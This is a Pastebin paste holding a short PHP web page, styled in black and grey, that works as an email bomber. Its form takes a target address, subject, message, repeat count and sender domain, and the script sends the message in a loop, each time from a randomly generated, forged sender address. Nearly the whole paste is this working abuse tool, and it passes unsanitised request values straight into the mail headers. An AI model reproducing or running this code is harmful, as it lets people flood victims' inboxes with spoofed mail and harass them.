Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <style type="text/css">
- <!--
- body,td,th {
- color: #999999;
- font-family: Courier New, Courier, monospace;
- }
- body {
- background-color: #000000;
- }
- INPUT {
- background-color: black;
- border: grey 1px solid;
- color: white;
- font-family: arial, verdana, ms sans serif;
- font-size: 10pt
- }
- TEXTAREA {
- background-color: black;
- border: grey 1px solid;
- color: white;
- font-family: arial, verdana, ms sans serif;
- font-size: 10pt;
- font-weight: normal
- }
- -->
- </style>
- <?php
- if (isset($_REQUEST['message']))
- {
- $message = $_REQUEST['message'] ;
- $email = $_REQUEST['email'] ;
- $times = $_REQUEST['times'] ;
- $subject = $_REQUEST['subject'] ;
- $to = $_REQUEST['to'] ;
- for ($i=1; $i<=$times; $i++)
- {
- mail( "$to", "$subject", $message, "From:" . rand() . "@$email" ) ;
- }
- echo "sent... o.O";
- }
- else
- {
- echo "<form method='post' action='index.php'>
- <p align='left'>
- Times to send:<br />
- <input name='times' type='text' value='1' size='4' maxlength='5' />
- <br />
- <Input name='email' type='text' value='email suffix' />
- <br />
- <input name='to' type='text' value='To' />
- <br />
- <input name='subject' type='text' value='Subject' />
- <br />
- <br />
- Message:<br />
- <textarea name='message' rows='15' cols='40'></textarea>
- <br />
- <br />
- <input type='submit' name='send' value='send' />
- <input name='reset' type='reset' value='reset' />
- </p>
- </form>";
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement